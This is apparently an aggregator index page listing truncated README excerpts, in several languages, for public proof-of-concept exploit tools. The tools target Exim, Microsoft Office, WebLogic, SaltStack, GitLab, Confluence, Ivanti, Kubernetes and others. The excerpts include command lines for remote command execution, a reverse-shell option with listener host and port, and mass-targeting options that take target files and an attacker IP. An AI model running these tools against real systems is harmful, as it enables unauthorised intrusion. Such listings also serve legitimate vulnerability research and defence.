PoC_CVE-2019-10149--rce

О программе Удаленное выполнение команд в оболочке из уязвимого сервиса Exim. Уязвимые версии: от 4.87 до 4.91 включительно. Подробнее: https://nvd.nist.gov/vuln/detail/cve-2019-10149. Данный скрипт основан на PoC от Qualys. Подробнее:...

CVE-2017-11882-exp

CVE-2017-11882 43b оригинальный скрипт с https://github.com/embedi/CVE-2017-11882 109b оригинальный скрипт с https://github.com/unamer/CVE-2017-11882/ респект, теперь код unamer умеет выполнять shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE...

CVE-2017-11882

CVE-2017-11882 43b — оригинальный скрипт взят из https://github.com/embedi/CVE-2017-11882 109b — оригинальный скрипт взят из https://github.com/unamer/CVE-2017-11882/ респект: теперь код unamer умеет выполнять shellcode CVE-2017-11882:...

cve-2018-11776-docker

Conteneur Docker CVE-2018-11776 et POC d'exploitation écrit en Go Vous pouvez construire votre propre image et l'exécuter : root@kitploit: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename Ou vous pouvez simplement récupérer celle que j'ai créée avec amour...

CVE-2024-56145-craftcms-rce

Avant de relancer le script, faites fuser -k 6666/tcp Utilisation - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Une commande personnalisée peut être utilisée comme python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i est votre IP ou l'IP de votre VPS utilisez celle-ci en faisant...

CVE-2018-2628

CVE-2018-2628 0x01 Сканирование Nessus 0x02 K8 Tools Получение оболочки 0x03 Выполнение команд Использование: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2018-0802_CVE-2017-11882

RTF118820802 CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Recherche: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Analyse du...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 est une vulnérabilité critique trouvée dans Ivanti Connect Secure, permettant l'exécution de commandes à distance RCE via une exploitation de débordement de tampon. Cette vulnérabilité permet aux attaquants de télécharger des fichiers malveillants par...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal Contributeurs 이희수@lheeeesoo Apache HTTP Server 2.4.49 présente une vulnérabilité dans le processus de normalisation des chemins URL qui ne bloque pas correctement les chemins parents encodés. Un attaquant peut utiliser des valeurs telles que .%2e...

ActiveMQ-RCE

ActiveMQ RCE Versions concernées version open -a calculator Lancez un serveur http root@kitploit: python3 -m http.server Exécutez le fichier Main.java modifiez l'adresse si nécessaire...

CVE-2017-1000117

CVE-2017-1000117 Злоумышленники могут создать специальную ссылку "ssh://…", чтобы при её открытии жертвой например, при выполнении программы добиться выполнения команд. Эта ссылка может быть помещена в файл .gitmodules git-проекта, так что при выполнении жертвой команды git clone...

CVE-2023-38646

POC de RCE Pré-Authentification Metabase CVE-2023-38646 Ceci est un script Python qui exploite la vulnérabilité d'exécution de code à distance du logiciel de connexion de Metabase. Il permet d'exécuter des commandes arbitraires sur le serveur avant l'authentification. Les versions vulnérables son...

CVE-2022-26134

CVE-2022-26134 설치 root@kitploit: 下载py,本地cmd运行 사용법 poc root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com exp root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com -c id 면책 조항🧐 본 도구는 합법적으로 승인된 기업의 보안 구축 행위에만 사용됩니다. 도구의 사용 가능성을 테스트하려면 직접 테스트 환경을 구성하십시오. 본 도구를 사용하여 감지할 때, 해당 행위가...

CVE-2021-46422

CVE-2021-46422 Установка root@kitploit: 下载py,使用cmd打开 Использование poc root@kitploit: python3 CVE-2021-46422.py -u url exp root@kitploit: python3 tpexp.py -u http://www.xxx.com -c id Отказ от ответственности🧐 Данный инструмент предназначен только для законных корпоративных действий по безопасност...

CVE-2026-24061

Сканер и эксплоататор уязвимости Telnet Этот скрипт на Python main.py — многопоточный инструмент для сканирования списка целевых IP-адресов/имен хостов и попытки эксплуатации определенной уязвимости через Telnet. !WARNING Этот инструмент предназначен только для образовательных целей и...

RadareEye

Un outil pour scanner les appareils à proximité et exécuter une commande lorsque l'appareil cible se trouve dans la portée.. NOTE:- Le propriétaire de RadareEye ne sera pas responsable si un utilisateur effectue des activités malveillantes avec cet outil. Utilisez-le uniquement à des fins...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

CVE-2021-22205

CVE-2021-22205 Outil CVE-2021-22205 RCE, réservé uniquement au partage et à la communication. Ne pas l'utiliser pour des tests non autorisés, sous peine de dégager l'auteur de toute responsabilité. root@kitploit: -R string VPS pour charger des outils, ex : -R 127.0.0.1:8083 -T string Nom de...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 Exécution de commande avec affichage du résultat Téléversement direct d'un shell Testé sur weblogic 10.3.6.0 sous Linux Utilisation et paramètres python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHEL...

CVE-2020-8559

Kubernetes CVE-2020-8559 개념 증명 PoC 익스플로잇 이것은 데모 목적으로만 사용됩니다. 관리 작업을 수행할 권한이 있고 CVE-2020-8559을 악용할 권한이 있는 시스템에서만 사용하십시오. 이것은 CVE-2020-8559에 대한 PoC입니다. 이 취약점은 공격자가 노드에서 root를 획득한 경우 클러스터의 다른 컨테이너에서 명령을 실행할 수 있게 하여 Kubernetes 마스터 노드를 장악할 수 있게 합니다. 이 취약점은 Kubernetes API 서버와 kubectl 명령이 HTTP 리디렉션을 따르는...